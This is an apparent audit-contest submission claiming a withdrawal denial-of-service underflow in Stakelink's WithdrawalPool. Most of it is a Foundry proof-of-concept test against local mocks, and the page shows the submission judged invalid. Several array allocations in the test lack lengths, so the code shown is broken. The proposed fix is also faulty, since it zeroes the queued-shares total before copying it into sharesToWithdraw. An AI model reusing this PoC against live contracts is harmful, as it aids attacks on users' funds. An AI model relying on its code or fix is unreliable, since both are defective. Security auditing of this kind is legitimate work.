Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: high
Invalid

executeWithdraw can cause a DoS

Summary

When a user performs a withdrawal, if there is not enough queuedDeposit and if the flag _shouldQueueWithdrawal is set to true, the queueWithdrawal function of the WithdrawalPool is called, as we can see here in the _withdraw(L-677) function of the PriorityPool:

if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
withdrawalPool.queueWithdrawal(_account, toWithdraw);
}

In order to convert the amount into shares and queue the withdrawal, as we can see in the queueWithdrawal (L-302) function in the WithdrawPool contract:

uint256 sharesAmount = _getSharesByStake(_amount);
queuedWithdrawals.push(Withdrawal(uint128(sharesAmount), 0));
totalQueuedShareWithdrawals += sharesAmount;

After that, someone or Chainlink automation calls performUpKeep to execute the withdrawal if there is a withdrawable amount. This function calls executeQueuedWithdrawals(L-520) of the PriorityPool that withdraws from the StakingPool and sends the funds to the WithdrawPool before finalizing the withdrawal.

A problem can occur because, in order to compute the amount to withdraw from the withdraw pool, it converts the total queue into stake amount. As we can see here in the performUpKeep(L-348) function in the WitdrawPool function :

uint256 canWithdraw = priorityPool.canWithdraw(address(this), 0);
uint256 totalQueued = _getStakeByShares(totalQueuedShareWithdrawals);
...some code
uint256 toWithdraw = totalQueued > canWithdraw ? canWithdraw : totalQueued;
bytes[] memory data = abi.decode(_performData, (bytes[]));
priorityPool.executeQueuedWithdrawals(toWithdraw, data);
_finalizeWithdrawals(toWithdraw);

If some rewards have been earned or someone send tokens to the startegies between the withdrawal and the execution of the withdrawal, the amount is taken into account in the totalStaked and increase the value of the shares. This means that when it is converted into stake amount, it will be a higher amount than originally, and when it finalizes the withdrawal, it will subtract the amount of shares withdrawn from the totalQueued as we can see in the _finalizeWithdrawals(L-422) :

uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
totalQueuedShareWithdrawals -= sharesToWithdraw;

it can lead to an underflow because the amount of shares will be higher than the original amount.

Vulnerability Details

Let imagine that a user deposit 12 link tokens tha amount is deposited and after that the user withdraw 11 link tokens if an amount 52 token are earned as rewards. then the call of the performUpKeep will revert because of the underflow.

In order to run the POC You have to follow some basic steps before to add foundry to the project :

  1. run yarn add --dev @nomicfoundation/hardhat-foundry

  2. add import "@nomicfoundation/hardhat-foundry"; in the hardhat config file

  3. run npx hardhat init-foundry

  4. You must remove the metisStaking folder from contracts in order to compile using foundry because this contracts need to enable the IR and since there are not in the scope of this audit it should be ok to do so.

You can create a solidity file in the test folder and run this test as a POC :

// SPDX-License-Identifier: GPL-2.0
pragma solidity ^0.8.0;
import {Test, console2, console} from "forge-std/Test.sol";
import "contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol";
import "contracts/core/tokens/base/ERC677.sol";
import "contracts/core/tokens/StakingAllowance.sol";
import "contracts/core/tokens/LPLMigration.sol";
import "contracts/core/lstRewardsSplitter/LSTRewardsSplitterController.sol";
import "contracts/core/priorityPool/PriorityPool.sol";
import "contracts/core/priorityPool/WithdrawalPool.sol";
import "contracts/linkStaking/CommunityVault.sol";
import "contracts/linkStaking/CommunityVCS.sol";
import "contracts/linkStaking/FundFlowController.sol";
import "contracts/linkStaking/OperatorStakingPool.sol";
import "contracts/linkStaking/OperatorVault.sol";
import "contracts/linkStaking/OperatorVCS.sol";
import "contracts/core/StakingPool.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "contracts/core/test/StrategyMock.sol";
import "contracts/core/test/SDLPoolMock.sol";
import "contracts/linkStaking/test/StakingMock.sol";
import "contracts/linkStaking/test/StakingRewardsMock.sol";
import "contracts/linkStaking/test/PFAlertsControllerMock.sol";
contract StakeLinkPOC is Test {
address constant USER1 = address(0x10000);
address constant USER2 = address(0x20000);
address constant USER3 = address(0x30000);
address[] internal users;
address sender;
event LogBytes(string, bytes);
event LogUint256(string, uint256);
event LogInt256(string, int256);
ERC677 linkToken;
ERC677 lplToken;
LSTRewardsSplitter lstRewardsSplitter;
LSTRewardsSplitterController lstRewardsSplitterController;
PriorityPool priorityPool;
WithdrawalPool withdrawalPool;
CommunityVault communityVault;
CommunityVCS communityVCS;
FundFlowController fundFlowController;
OperatorStakingPool operatorStakingPool;
OperatorVault operatorVault;
OperatorVCS operatorVCS;
StakingPool stakingPool;
SDLPoolMock sdlPool;
StakingMock stakingMock;
StakingRewardsMock stakingRewardsMock;
VaultDepositController vaultDepositController;
PFAlertsControllerMock pfAlertsControllerMock;
address owner = vm.addr(5678);
address operator = vm.addr(1234);
address distributionOracle = vm.addr(4321);
address rebaseController = vm.addr(8765);
address feeReceiver1 = vm.addr(1111);
address feeReceiver2 = vm.addr(2222);
function setup() internal {
users.push(USER1);
users.push(USER2);
users.push(USER3);
lplToken = new ERC677("LinkPool", "LPL", 100000000e18);
linkToken = new ERC677("Chainlink", "LINK", 400000000e18 + 1000);
StakingPool stakingPoolImpl = new StakingPool();
TransparentUpgradeableProxy stakingPoolProxy =
new TransparentUpgradeableProxy(address(stakingPoolImpl), operator, "");
stakingPool = StakingPool(address(stakingPoolProxy));
StakingPool.Fee[] memory fees = new StakingPool.Fee[]();
fees[0].receiver = feeReceiver1;
fees[0].basisPoints = 1000;
fees[1].receiver = feeReceiver2;
fees[1].basisPoints = 1000;
vm.prank(owner);
stakingPool.initialize(address(linkToken), "Staked LINK", "stLINK", fees, 10000e18);
stakingRewardsMock = new StakingRewardsMock(address(linkToken));
stakingMock = new StakingMock(
address(linkToken), address(stakingRewardsMock), 10e18, 100e18, 1000e18, 28 * 86400, 7 * 86400
);
vaultDepositController = new VaultDepositController();
OperatorVault operatorVaultImpl = new OperatorVault();
OperatorVCS strategyimpl = new OperatorVCS();
TransparentUpgradeableProxy strategyOpProxy =
new TransparentUpgradeableProxy(address(strategyimpl), operator, "");
operatorVCS = OperatorVCS(address(strategyOpProxy));
pfAlertsControllerMock = new PFAlertsControllerMock(address(linkToken));
Fee[] memory feesOperator= new Fee[]();
feesOperator[0].receiver = feeReceiver1;
feesOperator[0].basisPoints = 1000;
feesOperator[1].receiver = feeReceiver2;
feesOperator[1].basisPoints = 1000;
vm.prank(owner);
operatorVCS.initialize(
address(linkToken),
address(stakingPool),
address(stakingMock),
address(operatorVaultImpl),
feesOperator,
9000,
100e18,
1000,
address(vaultDepositController)
);
CommunityVault communityVaultImpl = new CommunityVault();
CommunityVCS strategyImplCom = new CommunityVCS();
TransparentUpgradeableProxy strategyCommProxy =
new TransparentUpgradeableProxy(address(strategyImplCom), operator, "");
communityVCS = CommunityVCS(address(strategyCommProxy));
vm.prank(owner);
communityVCS.initialize(
address(linkToken),
address(stakingPool),
address(stakingMock),
address(communityVaultImpl),
feesOperator,
9000,
100e18,
10,
20,
address(vaultDepositController)
);
FundFlowController fundFlowControllerimpl = new FundFlowController();
TransparentUpgradeableProxy fundFlowControllerProxy =
new TransparentUpgradeableProxy(address(fundFlowControllerimpl), operator, "");
fundFlowController = FundFlowController(address(fundFlowControllerProxy));
vm.prank(owner);
fundFlowController.initialize(address(operatorVCS), address(communityVCS), 28 * 86400, 7 * 86400, 5);
vm.prank(owner);
communityVCS.setFundFlowController(address(fundFlowController));
vm.prank(owner);
operatorVCS.setFundFlowController(address(fundFlowController));
sdlPool = new SDLPoolMock();
PriorityPool priorityPoolImpl = new PriorityPool();
TransparentUpgradeableProxy priorityPoolProxy =
new TransparentUpgradeableProxy(address(priorityPoolImpl), operator, "");
priorityPool = PriorityPool(address(priorityPoolProxy));
vm.prank(owner);
priorityPool.initialize(address(linkToken), address(stakingPool), address(sdlPool), 100e18, 10000e18);
WithdrawalPool withdrawalPoolImpl = new WithdrawalPool();
TransparentUpgradeableProxy withdrawalPoolProxy =
new TransparentUpgradeableProxy(address(withdrawalPoolImpl), operator, "");
withdrawalPool = WithdrawalPool(address(withdrawalPoolProxy));
vm.prank(owner);
withdrawalPool.initialize(address(linkToken), address(stakingPool), address(priorityPool), 10e18, 10);
vm.prank(owner);
stakingPool.addStrategy(address(operatorVCS));
vm.prank(owner);
stakingPool.addStrategy(address(communityVCS));
vm.prank(owner);
stakingPool.setPriorityPool(address(priorityPool));
vm.prank(owner);
stakingPool.setRebaseController(rebaseController);
vm.prank(owner);
priorityPool.setDistributionOracle(distributionOracle);
vm.prank(owner);
priorityPool.setWithdrawalPool(address(withdrawalPool));
for (uint256 i = 0; i < users.length; i++) {
linkToken.transfer(users[i], 100000000e18);
vm.prank(users[i]);
linkToken.approve(address(priorityPool), 100000000e18);
vm.prank(owner);
operatorVCS.addVault(users[i], users[i], address(pfAlertsControllerMock));
}
linkToken.approve(address(priorityPool), 1000);
bytes[] memory data = new bytes[]();
uint64[] memory vaults = new uint64[]();
data[0] = abi.encode(vaults);
priorityPool.deposit(1000, false, data);
vm.label(address(priorityPool), "PriorityPool");
vm.label(address(stakingPool), "StakingPool");
vm.label(address(withdrawalPool), "WithdrawalPool");
vm.label(address(operatorVCS), "OperatorVCS");
vm.label(address(communityVCS), "CommunityVCS");
vm.label(address(this), "CryticTester");
}
function setUp() public {
vm.warp(1524785992);
setup();
}
function test_executWithdrawDOS() public {
vm.warp(block.timestamp+11);
bytes[] memory data = new bytes[]();
data = fundFlowController.getDepositData(1.209e19);
vm.startPrank(USER1);
priorityPool.deposit(1.209e19 , false,data);
bytes32[] memory _merkleProof = new bytes32[]();
stakingPool.approve(address(priorityPool), 1.115e19);
priorityPool.withdraw(
1.115e19, 0, 0, _merkleProof, false, true
);
vm.stopPrank();
uint256 rewardsChange =1.5795e20;
IVault[] memory vaultsIntern = operatorVCS.getVaults();
linkToken.transfer(address(stakingRewardsMock), rewardsChange);
uint256 totalRewards;
for (uint256 i = 0; i < vaultsIntern.length; i++) {
if (vaultsIntern[i].getPrincipalDeposits() == 0) continue;
stakingRewardsMock.setReward(address(vaultsIntern[i]), rewardsChange / vaultsIntern.length);
totalRewards += vaultsIntern[i].getRewards();
}
vaultsIntern = communityVCS.getVaults();
for (uint256 i = 0; i < vaultsIntern.length; i++) {
if (vaultsIntern[i].getPrincipalDeposits() == 0) continue;
stakingRewardsMock.setReward(address(vaultsIntern[i]), rewardsChange / vaultsIntern.length);
totalRewards += vaultsIntern[i].getRewards();
}
console2.log("totalRewards : %d", totalRewards/1e18);
uint256[] memory strategies = new uint256[]();
strategies[0] = 0;
strategies[1] = 1;
vm.prank(rebaseController);
stakingPool.updateStrategyRewards(strategies, abi.encode(0x0000000000000000000000000000000000000000000000028da2f660ba8e5731));
bytes[] memory data2 = new bytes[]();
uint256 toWithdraw = withdrawalPool.getTotalQueuedWithdrawals()
> priorityPool.canWithdraw(address(withdrawalPool), 0)
? priorityPool.canWithdraw(address(withdrawalPool), 0)
: withdrawalPool.getTotalQueuedWithdrawals();
data2 = fundFlowController.getWithdrawalData(toWithdraw);
vm.prank(USER1);
//vm.expectRevert();
withdrawalPool.performUpkeep(abi.encode(data2));
}
}

you can run forge test --mt test_executWithdrawDOS.

You should have this output :

Ran 1 test for test/stake.linkPOC.t.sol:StakeLinkPOC
[FAIL: panic: arithmetic underflow or overflow (0x11)] test_executWithdrawDOS() (gas: 1891160)

Impact

It can create an imposibility to withdraw funds.

Tools Used

Echidna

Recommendations

you can add an additional check to ensure that there is no underflow in the _finalizeWithdrawals function.

function _finalizeWithdrawals(uint256 _amount) internal {
uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
if(totalQueuedShareWithdrawals<sharesToWithdraw){
totalQueuedShareWithdrawals =0;
sharesToWithdraw=totalQueuedShareWithdrawals;
}else{
totalQueuedShareWithdrawals -= sharesToWithdraw;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
11 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.